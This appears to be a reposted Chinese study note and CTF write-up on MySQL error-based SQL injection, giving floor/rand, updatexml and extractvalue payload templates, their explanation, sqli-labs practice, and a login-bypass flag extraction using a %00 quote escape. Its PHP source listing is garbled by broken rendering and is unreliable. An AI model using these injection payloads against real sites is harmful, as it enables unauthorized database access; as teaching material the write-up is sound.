sqlmap报错注入
0x00 背景
學習記錄一下報錯型的注入,經各方整理和自己總結形成。
所有的注入原理都是一樣,即用戶輸入被拼接執行。但后臺數據庫執行語句產生錯誤并回顯到頁面時即可能存在報錯注入。
0x01概念
報錯型注入的利用大概有以下3種方式:
復制代碼
1:?id=2’ and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (查詢語句))
from information_schema.tables limit 0,1))x from information_schema.tables group by x )a )–+
2:?id=2’ and updatexml(1,concat(0x7e,(SELECT 查詢語句),0x7e),1)–+
3:?id=1’ and extractvalue(1, concat(0x7e, (select 查詢語句),0x7e))–+
復制代碼
對于1的分析:
復制代碼
floor()是取整數 rand(0)*2將取0到2的隨機數
floor(rand()2)有兩條記錄就會報錯
floor(rand(0)2)記錄需為3條以上,且3條以上必報錯,返回的值是有規律的
count()是用來統計結果的,相當于刷新一次結果
group by 對數據分組時會先看看虛擬表里有沒有這個值,若沒有就插入,若存在則count()加1
group by 時floor(rand(0)*2)會被執行一次,若虛表不存在記錄,插入虛表時會再執行一次
對于count()、rand()、group by 三者同時存在為什么會報錯可以參考烏云tsafe的文章
復制代碼
對于2的分析:
復制代碼
函數的形式為:UPDATEXML (XML_document, XPath_string, new_value);、
第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc
第二個參數:XPath_string (Xpath格式的字符串) ,
第三個參數:new_value,String格式,替換查找到的符合條件的數據
作用:改變文檔中符合條件的節點的值,即改變XML_document中符合XPATH_string的值
而我們的注入語句為:updatexml(1,concat(0x7e,(SELECT 查詢語句),0x7e),1)
concat()函數是將其參數連成一個字符串,因此不會符合XPATH_string的格式,從而出現格式錯誤導致錯誤信息返回。
復制代碼
對于3的分析:
復制代碼
EXTRACTVALUE (XML_document, XPath_string);
第一個參數:XML_document是String格式,為XML文檔對象的名稱
第二個參數:XPath_string (Xpath格式的字符串).
作用:從目標XML中返回包含所查詢值的字符串
而我們的注入語句為:extractvalue(1, concat(0x7e, (select 查詢語句),0x7e))
同2一樣因為不符合XPATH_string的格式所以會報錯
復制代碼
0x03 實踐
以sqli lab作為測試
?id=1’時:
?id=1’%23時:
帶入上面的payload:
可以看到通過xmlupdate成功通過報錯信息將數據庫名顯示出來了,接下來再依次按照求表、列的步驟進行
0x04 CTF實例
i春秋百度杯十月VId
這里省略信息收集,直接到SQL注入的部分
這里只有一個登錄框,貼出源代碼:
復制代碼
1 <?php
2
3 require_once ‘dbmysql.class.php’;
4 require_once ‘config.inc.php’;
5
6 if(isset(KaTeX parse error: Expected 'EOF', got '&' at position 20: …T['username']) &?& isset(_POST[‘password’]) && isset($_POST[‘number’])){
7 $db = new mysql_db();
8 $username = db?>safedata(db->safe_data(db?>safed?ata(_POST[‘username’]);
9 $password = db?>mymd5(db->my_md5(db?>mym?d5(_POST[‘password’]);
10 number=isnumeric(number = is_numeric(number=isn?umeric(_POST[‘number’]) ? $_POST[‘number’] : 1;
11
12 username=trim(strreplace(username = trim(str_replace(username=trim(strr?eplace(number, ‘’, $username));
13
14 sql="select?from"."‘".tablename."‘"."whereusername="."′"."sql = "select * from"."`".table_name."`"."where username="."'"."sql="select?from"."‘".tablen?ame."‘"."whereusername="."′"."username"."’";
15 $row = db?>query(db->query(db?>query(sql);
16 $result = db?>fetcharray(db->fetch_array(db?>fetcha?rray(row);
17 if(KaTeX parse error: Expected '}', got 'EOF' at end of input: … 18 if(result[“number”] === $number && $result[“password”] === $password){
19 echo “";
40 }
41 ?>
復制代碼
safe_data()定義:
1 public function safe_data(KaTeX parse error: Expected '}', got 'EOF' at end of input: … stripcslashes(value);
4 }
5 return addslashes($value);
6 }
username在被傳入之后首先被safe_data()轉義,再被str_replace()處理去掉里面包含的number數字和空格,最后執行sql查詢。在這里sql查詢語句雖然也有拼接輸入,但是需要閉合掉單引號。可是username在一開始加上單引號的話在被傳入的時候就會被加上反斜杠。
讀了i春秋論壇的writeup才明白可以這樣構造:
Number=0&username=test%00’%23
Username經過轉義變成test\0\’%23
然后替換操作 變成 test\’%23
單引號逃逸出去,同時因為用了trim所以不能使用空格來分割字段,可以使用+來連接。
最后構造的username為:
username=admin%00’+and+updatexml(1,concat(1,(select+*+from+flag+limit+1),1),1)%23
這里只能獲取32位長度,要想獲取完整的flag還需使用substr函數
0x05總結
這里只用了updatexml作為例子,其余2個原理都是一樣的。
同時對于sqli lab的練習使用這一類注入手工速度很慢,接下來可以考慮寫一個自動化的腳本。
與50位技術專家面對面20年技術見證,附贈技術全景圖總結
以上是生活随笔為你收集整理的sqlmap报错注入的全部內容,希望文章能夠幫你解決所遇到的問題。